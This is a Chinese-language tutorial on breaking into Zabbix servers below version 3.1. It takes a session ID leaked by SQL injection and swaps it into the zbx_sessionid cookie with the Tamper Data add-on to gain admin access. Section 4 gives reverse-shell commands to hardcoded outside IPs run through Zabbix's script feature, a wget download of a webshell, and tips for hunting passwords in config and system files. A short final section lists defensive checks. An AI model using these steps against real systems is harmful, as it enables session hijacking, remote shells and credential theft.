使用Tamper Data登錄zabbix服務器并實施安全檢查
Zabbix 服務器在3.1版本以下存在SQL注入漏洞,通過該漏洞可以獲取管理員的賬號、密碼和SessionID,zabbix的用戶密碼是采用md5加密,在實際漏洞測試過程中,很多公司都還是有安全意識,密碼設置的非常復雜,通過cmd5等在線網站以及自我搭建環境都無法破解。無法破解密碼,zabbix服務器存在SQL注入漏洞就安全嗎?其實在網上給出Exp中還提及一個Session_id,這個Session_id是可以利用的,通過工具軟件抓包即可突破密碼無法破解的限制。本文就探討如何利用Tamper Data來突破密碼無法破解的限制,順利的進入Zabbix服務器,最后探討了六大方法來進行zabbix服務器的安全檢測。
1. TamperData簡介
Tamper Data作為Firefox的重要插件之一,Tamper Data簡單易用,功能強大,可以用來查看和修改HTTP/HTTPS的頭部和POST參數;也可以用來跟蹤 HTTP請求和響應并記時;還可以對WEB站點進行某些安全測試,從而為調試 WEB 配置帶來了極大的便利,是網站維護人員不可多得的實用工具,同時也是網絡安全人員的最愛插件之一,是突破登錄和Xss漏洞檢測到利器,其官方地址https://addons.mozilla.org/en-us/firefox/addon/tamper-data/。
2. Tamper Data安裝
首先需要安裝Firefox(http://www.firefox.com.cn/download/)軟件,安裝完畢后直接打開Firefox,打開“工具”-“附加組件”,選擇“可用附加組件”,在搜索框中輸入“Tamper Data”,出來的結果中第一位就是Tamper Data,單擊安裝,接受并下載即可,安裝完成后需要重啟FireFox瀏覽器。
3. 使用Tamper Data登錄zabbix服務器
(1)獲取Session_id
對目標地址進行exp測試,獲取Session_id,注意使用zabbix.py時一定要加http協議,也就是http://ip,如圖1所示,獲取測試服務器的zabbix管理員密碼和Session_id值:
管理員 用戶名密碼:Zabbix:cf5678dcb0af85f4c26ee7a999f5d3bc
管理員 Session_id:b2230a1fe2caac819b430a89ce2250dc
將cf5678dcb0af85f4c26ee7a999f5d3bc密碼值到cmd5.com網站進行解密,如圖2所示,提示解密失敗。
圖1獲取zabbix密碼以及sessionid
圖2 cmd5解密失敗
(2)運行TamperData
通過FireFox的“工具”菜單打開“TamperData”插件,如圖3所示,在瀏覽器中先輸入目標地址,然后在Tamper Data中單擊“Start Tamper”開始捕獲網站的數據請求。單擊“clear”可以清除捕獲的所有數據。
圖3打開Tamper Data插件
(3)修改session_id
在Firefox中輸入并打開目標網站地址,如果安裝有NoScript插件還需要允許訪問該IP地址,然后單擊以guest方式登錄zabbix,這時Tamper Data會彈出捕獲數據信息,在彈出的窗口中選擇Tamper,在其中會出現Cooike,在Cooike找到zbx_sessionid一覽,然后將其值“29de4f5abef4aa785f6a09d6b506a44a”修改前面獲取的值“b2230a1fe2caac819b430a89ce2250dc”,然后在彈出的窗口中單擊“Submit”進行提交,后面可能會有多個提示,都選擇“Submit”。
圖4修改zbx_session_id值
(4)成功登錄Zabbix管理界面
回到Firefox中,并關閉Tamperdata的捕獲功能,刷新瀏覽器,即可看見左下方顯示“連接為'Admin'”,如圖5所示,表明成功登錄Zabbix管理服務器。
圖5成功登錄Zabbix管理服務器
4.有關zabbix的滲透方法與技巧
由于本文探討的是zabbix的安全檢測,因此需要在這里提及一下有關其滲透方法
(1)反彈法,在zabbix管理界面,單擊“Administration”或者中文界面的“管理”,在Script(腳本)中單擊創建腳本(Create script),Name(名稱)中隨便輸入,在Commands(命令)中輸入以下代碼:
代碼1:
- echo "#!/bin/bash" > /tmp/1.sh
- echo "bash -i >&/dev/tcp/194.38.137.239/8888 0>&1" >> /tmp/1.sh
- chmod +x /tmp/1.sh
- /tmp/1.sh
代碼2:
- bash -i >& /dev/tcp/218.145.31.159/530>&1
代碼1是將反彈的腳本保存到本地,代碼2直接執行。
圖6管理可執行腳本
(2)直接exp獲取反彈shell
通過exp直接利用session_id登錄,并反彈shell。
(3)滲透技巧
- 獲取文件的名稱(*.php、*.sql、*.sh)及位置命令:locate“*.php” find –name “*.php”
- 重點查看data、home、opt、var目錄,一般zabbix安裝文件都會在這幾個目錄。
- 尋找zabbix.conf.php文件,該文件中會保存配置文件。
- 尋找系統存在sh文件,這些文件中可能會保存mysql數據庫密碼、ssh賬號及密碼
- 尋找svn關鍵字,svn配置文件中會保存用戶名及密碼等信息。
- 查看關鍵信息 cat /etc/hosts、cat/etc/passwd、cat/etc/issue、ifconfig –a、uname –ar獲取服務器所屬組織,linux內核版本、IP地址等信息。
- 如果配置zabbix是當前反彈shell用戶,可以通過wget http://www.antian365.com/shell.txt命令下載shell保存到本地,重命名并添加可執行權限即可獲取webshell。
5、安全檢查Zabbix服務器
對于安全檢查zabbix服務器,根據筆者的經驗可以從以下幾個方面入手:
(1)查看zabbix版本,一般登錄zabbix服務器后,在最下面就可以看到版本信息,例如“Zabbix 2.4.7 Copyright 2001-2015 byZabbix SIA”表示版本為zabbix2.4.7,該版本以為著肯定存在漏洞,可以升級到最行版本。
(2)檢測腳本情況
在管理界面中發現有新腳本,例如ping、uname、whoami等,則表明有人進來過,換句話說,如果腳本不是自己添加到,則肯定是入侵者加入的。
(3)禁止mysql外連接,在實際測試過程中,很多服務器的mysql服務器可以直接通過該服務器的獨立IP進行連接。
(4)修改用戶密碼,升級系統后,必須修改相應的用戶密碼。
(5)善于利用“審計”功能,在zabbix中,有審計功能,如圖7所示,通過修改查看時間可以查看哪些IP登錄過系統,使用什么角色,如果不是管理員登錄的那么就要小心了。
(6)保持zabbix服務器的“純潔”性,在zabbix服務器上不保留一些跟監控無關的數據和文件,同時嚴格設置服務器權限。
圖7查看審計日志